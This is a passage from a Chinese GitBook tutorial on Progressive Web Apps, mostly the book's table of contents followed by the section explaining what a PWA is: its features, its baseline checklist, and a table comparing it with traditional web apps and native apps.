\n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >1.2 什么是 PWA</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\"><b></b>&#x4EC0;&#x4E48;&#x662F; PWA</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x7684;&#x7279;&#x6027;\"><b></b>PWA &#x7684;&#x7279;&#x6027;</a></li></ul></ul></div><a href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x4EC0;&#x4E48;&#x662F;-pwa\"><a name=\"&#x4EC0;&#x4E48;&#x662F;-pwa\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EC0;&#x4E48;&#x662F;-pwa\" class=\"plugin-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4EC0;&#x4E48;&#x662F; PWA</h1>\n<p>Google &#x63D0;&#x51FA; PWA &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5E76;&#x6CA1;&#x6709;&#x7ED9;&#x5B83;&#x4E00;&#x4E2A;&#x51C6;&#x786E;&#x7684;&#x5B9A;&#x4E49;&#xFF0C;&#x7ECF;&#x8FC7;&#x6211;&#x4EEC;&#x7684;&#x5B9E;&#x8DF5;&#x548C;&#x603B;&#x7ED3;&#xFF0C;\nPWA &#x5B83;&#x4E0D;&#x662F;&#x7279;&#x6307;&#x67D0;&#x4E00;&#x9879;&#x6280;&#x672F;&#xFF0C;&#x800C;&#x662F;&#x5E94;&#x7528;&#x591A;&#x9879;&#x6280;&#x672F;&#x6765;&#x6539;&#x5584;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x7684; Web App&#xFF0C;&#x5176;&#x6838;&#x5FC3;&#x6280;&#x672F;&#x5305;&#x62EC; Web App Manifest&#xFF0C;Service Worker&#xFF0C;Web Push &#x7B49;&#xFF0C;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x624D;&#x662F; PWA &#x7684;&#x6838;&#x5FC3;&#x3002;</p>\n<p>PWA &#x4E3B;&#x8981;&#x7279;&#x70B9;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>&#x53EF;&#x9760; - &#x5373;&#x4F7F;&#x5728;&#x7F51;&#x7EDC;&#x4E0D;&#x7A33;&#x5B9A;&#x751A;&#x81F3;&#x65AD;&#x7F51;&#x7684;&#x73AF;&#x5883;&#x4E0B;&#xFF0C;&#x4E5F;&#x80FD;&#x77AC;&#x95F4;&#x52A0;&#x8F7D;&#x5E76;&#x5C55;&#x73B0;</li>\n<li>&#x7528;&#x6237;&#x4F53;&#x9A8C; - &#x5FEB;&#x901F;&#x54CD;&#x5E94;&#xFF0C;&#x5177;&#x6709;&#x5E73;&#x6ED1;&#x7684;&#x8FC7;&#x6E21;&#x52A8;&#x753B;&#x53CA;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#x7684;&#x53CD;&#x9988;</li>\n<li>&#x7528;&#x6237;&#x9ECF;&#x6027; - &#x548C; Native App &#x4E00;&#x6837;&#xFF0C;&#x53EF;&#x4EE5;&#x88AB;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#xFF0C;&#x80FD;&#x63A5;&#x53D7;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#xFF0C;&#x5177;&#x6709;&#x6C89;&#x6D78;&#x5F0F;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;</li>\n</ul>\n<p>PWA &#x672C;&#x8EAB;&#x5F3A;&#x8C03;<strong>&#x6E10;&#x8FDB;&#x5F0F;</strong>&#xFF08;Progressive&#xFF09;&#xFF0C;&#x53EF;&#x4EE5;&#x4ECE;&#x4E24;&#x4E2A;&#x89D2;&#x5EA6;&#x6765;&#x7406;&#x89E3;&#x6E10;&#x8FDB;&#x5F0F;&#xFF0C;&#x9996;&#x5148;&#xFF0C;PWA &#x8FD8;&#x5728;&#x4E0D;&#x65AD;&#x8FDB;&#x5316;&#xFF0C;Service Worker&#xFF0C;Web App Manifest&#xFF0C;Device API &#x7B49;&#x6807;&#x51C6;&#x6BCF;&#x5E74;&#x90FD;&#x4F1A;&#x6709;&#x4E0D;&#x5C0F;&#x7684;&#x8FDB;&#x6B65;&#xFF1B;&#x5176;&#x6B21;&#xFF0C;&#x6807;&#x51C6;&#x7684;&#x8BBE;&#x8BA1;&#x5411;&#x4E0B;&#x517C;&#x5BB9;&#xFF0C;&#x5E76;&#x4E14;&#x4FB5;&#x5165;&#x6027;&#x5C0F;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x4F7F;&#x7528;&#x65B0;&#x7279;&#x6027;&#x4EE3;&#x4EF7;&#x5F88;&#x5C0F;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5728;&#x539F;&#x6709;&#x7AD9;&#x70B9;&#x4E0A;&#x65B0;&#x589E;&#xFF0C;&#x8BA9;&#x7AD9;&#x70B9;&#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x6E10;&#x8FDB;&#x5F0F;&#x7684;&#x589E;&#x5F3A;&#x3002;</p>\n<p>Google &#x5728;&#x5B98;&#x7F51;&#x4E00;&#x7BC7;&#x540D;&#x4E3A;&#x300A;<a href=\"https://developers.google.cn/web/progressive-web-apps/checklist\" target=\"_blank\">Progressive Web App Checklist</a>&#x300B;&#x7684;&#x6587;&#x7AE0;&#x4E2D;&#x7ED9;&#x51FA;&#x4E86; PWA &#x7684;&#x57FA;&#x51C6;&#x7EBF;&#xFF0C;&#x4E5F;&#x7ED9;&#x51FA;&#x4E86;&#x4F53;&#x9A8C;&#x66F4;&#x597D;&#x7684;&#x793A;&#x8303;&#x6027; PWA &#x7684; Checklist&#xFF0C;&#x4E0B;&#x9762;&#x5217;&#x51FA;&#x4E86; PWA &#x7684;&#x6700;&#x4F4E;&#x8981;&#x6C42;&#x3002;</p>\n<ul>\n<li>&#x7AD9;&#x70B9;&#x9700;&#x8981;&#x4F7F;&#x7528; HTTPS</li>\n<li>&#x9875;&#x9762;&#x9700;&#x8981;&#x54CD;&#x5E94;&#x5F0F;&#xFF0C;\b&#x80FD;&#x591F;&#x5728;&#x5E73;&#x677F;&#x548C;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E0A;&#x90FD;&#x5177;&#x6709;&#x826F;&#x597D;&#x7684;&#x6D4F;&#x89C8;&#x4F53;&#x9A8C;</li>\n<li>&#x6240;&#x6709;&#x7684; URL &#x5728;&#x65AD;&#x7F51;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x6709;&#x5185;&#x5BB9;&#x5C55;&#x73B0;&#xFF0C;&#x4E0D;&#x4F1A;&#x5C55;&#x73B0;&#x6D4F;&#x89C8;&#x5668;&#x9ED8;&#x8BA4;&#x9875;&#x9762;</li>\n<li>&#x9700;&#x8981;&#x652F;&#x6301; Wep App Manifest&#xFF0C;&#x80FD;\b&#x88AB;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;</li>\n<li>&#x5373;&#x4F7F;&#x5728; 3G &#x7F51;&#x7EDC;&#x4E0B;&#xFF0C;&#x9875;&#x9762;&#x52A0;&#x8F7D;&#x8981;&#x5FEB;&#xFF0C;&#x53EF;&#x4EA4;&#x4E92;&#x65F6;&#x95F4;&#x8981;&#x77ED;</li>\n<li>&#x5728;&#x4E3B;&#x6D41;&#x6D4F;&#x89C8;&#x5668;&#x4E0B;&#x90FD;&#x80FD;&#x6B63;&#x5E38;&#x5C55;&#x73B0;</li>\n<li>&#x52A8;&#x753B;&#x8981;&#x6D41;&#x7545;&#xFF0C;&#x6709;&#x7528;&#x6237;&#x64CD;&#x4F5C;&#x53CD;&#x9988;</li>\n<li>&#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x90FD;&#x6709;&#x72EC;&#x7ACB;&#x7684; URL</li>\n</ul>\n<h2 id=\"pwa-&#x7684;&#x7279;&#x6027;\"><a name=\"pwa-&#x7684;&#x7279;&#x6027;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x7684;&#x7279;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x7684;&#x7279;&#x6027;\" class=\"plugin-anchor\" href=\"#pwa-&#x7684;&#x7279;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x7684;&#x7279;&#x6027;</h2>\n<p>PWA &#x672C;&#x8D28;&#x4E0A;&#x8FD8;&#x662F; Web App&#xFF0C;&#x501F;&#x52A9;&#x4E86;&#x65B0;&#x6280;&#x672F;&#x5177;&#x5907;&#x4E86;&#x4E00;&#x4E9B; Native App &#x7684;&#x7279;&#x6027;&#xFF0C;&#x6240;&#x4EE5;&#x5B83;&#x517C;&#x5177; Web App &#x548C; Native App &#x7684;&#x4F18;&#x70B9;&#xFF0C;&#x540C;&#x65F6;&#x5728;&#x5B89;&#x5168;&#x3001;&#x4F53;&#x9A8C;&#x548C;&#x7528;&#x6237;&#x9ECF;&#x6027;&#x4E09;&#x4E2A;&#x65B9;&#x9762;&#x90FD;&#x6709;&#x5F88;&#x5927;&#x7684;&#x63D0;&#x5347;&#x3002;&#x603B;&#x7ED3;&#x4E0B;&#x6765;&#xFF0C;PWA &#x5177;&#x6709;&#x5982;&#x4E0B;&#x7279;&#x6027;&#x3002;</p>\n<ul>\n<li><strong>&#x6E10;&#x8FDB;&#x5F0F;</strong> - &#x9002;&#x7528;&#x4E8E;&#x6240;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x662F;&#x4EE5;&#x6E10;&#x8FDB;&#x5F0F;&#x589E;&#x5F3A;&#x4F5C;&#x4E3A;&#x5B97;&#x65E8;&#x5F00;&#x53D1;&#x7684;</li>\n<li><strong>&#x8FDE;&#x63A5;&#x65E0;&#x5173;&#x6027;</strong> - &#x80FD;&#x591F;&#x501F;&#x52A9; Service Worker &#x5728;&#x79BB;&#x7EBF;&#x6216;&#x8005;&#x7F51;&#x7EDC;&#x8F83;&#x5DEE;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x6B63;&#x5E38;&#x8BBF;&#x95EE;</li>\n<li><strong>&#x7C7B;&#x539F;&#x751F;&#x5E94;&#x7528;</strong> - &#x7531;&#x4E8E;&#x662F;&#x5728; App Shell &#x6A21;&#x578B;&#x57FA;&#x7840;&#x4E0A;&#x5F00;&#x53D1;&#xFF0C;&#x56E0;&#x6B64;&#x5E94;&#x5177;&#x6709; Native App &#x7684;&#x4EA4;&#x4E92;&#xFF0C;&#x7ED9;&#x7528;&#x6237; Native App &#x7684;&#x4F53;&#x9A8C;</li>\n<li><strong>&#x6301;&#x7EED;&#x66F4;&#x65B0;</strong> - &#x59CB;&#x7EC8;&#x662F;&#x6700;&#x65B0;&#x7684;&#xFF0C;&#x65E0;&#x7248;&#x672C;&#x548C;&#x66F4;&#x65B0;&#x95EE;&#x9898;</li>\n<li><strong>&#x5B89;&#x5168;</strong> - &#x901A;&#x8FC7; HTTPS &#x534F;&#x8BAE;&#x63D0;&#x4F9B;&#x670D;&#x52A1;&#xFF0C;&#x9632;&#x6B62;&#x7AA5;&#x63A2;&#xFF0C;&#x786E;&#x4FDD;&#x5185;&#x5BB9;&#x4E0D;&#x88AB;&#x7BE1;&#x6539;</li>\n<li><strong>&#x53EF;&#x7D22;&#x5F15;</strong> - manifest &#x6587;&#x4EF6;&#x548C; Service Worker &#x53EF;&#x4EE5;&#x8BA9;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#x7D22;&#x5F15;&#x5230;&#xFF0C;&#x4ECE;&#x800C;&#x5C06;&#x5176;&#x8BC6;&#x522B;&#x4E3A;&#x300E;&#x5E94;&#x7528;&#x300F;</li>\n<li><strong>&#x9ECF;&#x6027;</strong> - &#x901A;&#x8FC7;&#x63A8;&#x9001;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x7B49;&#xFF0C;&#x53EF;&#x4EE5;&#x8BA9;&#x7528;&#x6237;&#x56DE;&#x6D41;</li>\n<li><strong>&#x53EF;&#x5B89;&#x88C5;</strong> - &#x7528;&#x6237;&#x53EF;&#x4EE5;&#x6DFB;&#x52A0;&#x5E38;&#x7528;&#x7684; Web App &#x5230;&#x684C;&#x9762;&#xFF0C;&#x514D;&#x53BB;&#x5230;&#x5E94;&#x7528;&#x5546;&#x5E97;&#x4E0B;&#x8F7D;&#x7684;&#x9EBB;&#x70E6;</li>\n<li><strong>&#x53EF;&#x94FE;&#x63A5;</strong> - &#x901A;&#x8FC7;&#x94FE;&#x63A5;&#x5373;&#x53EF;&#x5206;&#x4EAB;&#x5185;&#x5BB9;&#xFF0C;&#x65E0;&#x9700;&#x4E0B;&#x8F7D;&#x5B89;&#x88C5;</li>\n</ul>\n<p>PWA &#x7684;&#x8FD9;&#x4E9B;&#x65B0;&#x7279;&#x6027;&#x7ED9; Web App &#x6CE8;&#x5165;&#x4E86;&#x6D3B;&#x529B;&#xFF0C;&#x800C; Native App &#x5374;&#x6CA1;&#x80FD;&#x5F88;&#x597D;&#x7684;&#x5F25;&#x8865;&#x81EA;&#x5DF1;&#x7684;&#x52A3;&#x52BF;&#x3002;&#x5BF9;&#x4E8E; Native App&#x6765;&#x8BF4;&#xFF0C;&#x6700;&#x5927;&#x7684;&#x75DB;&#x70B9;&#x662F;&#x7531;&#x4E8E;&#x5176;&#x5929;&#x751F;&#x5C01;&#x95ED;&#x7684;&#x57FA;&#x56E0;&#xFF0C;&#x5185;&#x5BB9;&#x65E0;&#x6CD5;&#x88AB;&#x7D22;&#x5F15;&#xFF0C;&#x8FD9;&#x4F1A;&#x5BFC;&#x81F4; Native App &#x5F88;&#x96BE;&#x88AB;&#x5206;&#x53D1;&#xFF0C;&#x4F8B;&#x5982;&#xFF0C;&#x7528;&#x6237;&#x60F3;&#x77E5;&#x9053;&#x7EA2;&#x70E7;&#x8089;&#x7684;&#x505A;&#x6CD5;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x5148;&#x77E5;&#x9053;&#x5E94;&#x7528;&#x7684;&#x540D;&#x79F0;&#xFF0C;&#x4E0B;&#x8F7D;&#x5E94;&#x7528;&#x4E4B;&#x540E;&#x624D;&#x80FD;&#x83B7;&#x53D6;&#x5185;&#x5BB9;&#xFF0C;&#x8FD9;&#x4E2A;&#x6D41;&#x7A0B;&#x5341;&#x5206;&#x4E0D;&#x5408;&#x7406;&#xFF0C;&#x6839;&#x636E; Google &#x7684;&#x7EDF;&#x8BA1;&#xFF0C;&#x7528;&#x6237;&#x6BCF;&#x4E2A;&#x6708;&#x5B89;&#x88C5;&#x7684;&#x5E94;&#x7528;&#x4E2A;&#x6570;&#x7EA6;&#x7B49;&#x4E8E; 0&#xFF0C;&#x518D;&#x52A0;&#x4E0A;&#x7528;&#x6237; 80% &#x7684;&#x65F6;&#x95F4;&#x88AB; Top3 &#x7684;&#x8D85;&#x7EA7;&#x5E94;&#x7528;&#x5360;&#x636E;&#xFF0C;&#x5E94;&#x7528;&#x5206;&#x53D1;&#x6210;&#x672C;&#x4E5F;&#x56E0;&#x6B64;&#x8D8A;&#x6765;&#x8D8A;&#x9AD8;&#x3002;&#x76F8;&#x5BF9;&#x4E8E; Native App &#x7684;&#x5C01;&#x95ED;&#xFF0C;PWA &#x5B8C;&#x5168;&#x662F;&#x5F00;&#x653E;&#x7684;&#xFF0C;PWA &#x7684;&#x6240;&#x6709;&#x6280;&#x672F;&#x90FD;&#x662F;&#x9075;&#x5FAA;&#x5F00;&#x653E;&#x7684;&#x6807;&#x51C6;&#xFF0C;&#x56E0;&#x6B64;&#x80FD;&#x591F;&#x88AB;&#x6D4F;&#x89C8;&#x5668;&#x5FEB;&#x901F;&#x652F;&#x6301;&#xFF0C;&#x88AB;&#x5F00;&#x53D1;&#x8005;&#x63A5;&#x53D7;&#x3002;</p>\n<p>&#x4E0B;&#x8868;&#x5217;&#x51FA;&#x4E86;&#x4F20;&#x7EDF; Web App&#xFF0C;Native App &#x548C; PWA &#x5728;&#x5404;&#x7279;&#x6027;&#x7684;&#x5BF9;&#x6BD4;&#x3002;</p>\n<table>\n<thead>\n<tr>\n<th></th>\n<th>&#x662F;&#x5426;&#x53EF;&#x5B89;&#x88C5;</th>\n<th>&#x662F;&#x5426;&#x53EF;&#x94FE;&#x63A5;&#x8BBF;&#x95EE;</th>\n<th>&#x7528;&#x6237;&#x4F53;&#x9A8C;</th>\n<th>&#x7528;&#x6237;&#x9ECF;&#x6027;</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>&#x4F20;&#x7EDF; Web</td>\n<td>&#x65E0;&#x6CD5;&#x5B89;&#x88C5;</td>\n<td>&#x53EF;&#x94FE;&#x63A5;&#x8BBF;&#x95EE;</td>\n<td>&#x4F53;&#x9A8C;&#x4E00;&#x822C;</td>\n<td>&#x9ECF;&#x6027;&#x5DEE;</td>\n</tr>\n<tr>\n<td>Native App</td>\n<td>&#x53EF;&#x5B89;&#x88C5;</td>\n<td>&#x4E0D;&#x53EF;&#x94FE;&#x63A5;&#x8BBF;&#x95EE;</td>\n<td>&#x4F53;&#x9A8C;&#x597D;</td>\n<td>&#x9ECF;&#x6027;&#x5F3A;</td>\n</tr>\n<tr>\n<td>PWA</td>\n<td>&#x53EF;&#x5B89;&#x88C5;</td>\n<td>&#x53EF;&#x94FE;&#x63A5;&#x8BBF;&#x95EE;</td>\n<td>&#x4F53;&#x9A8C;&#x597D;</td>\n<td>&#x9ECF;&#x6027;&#x5F3A;</td>\n</tr>\n</tbody>\n</table>\n<p>PWA 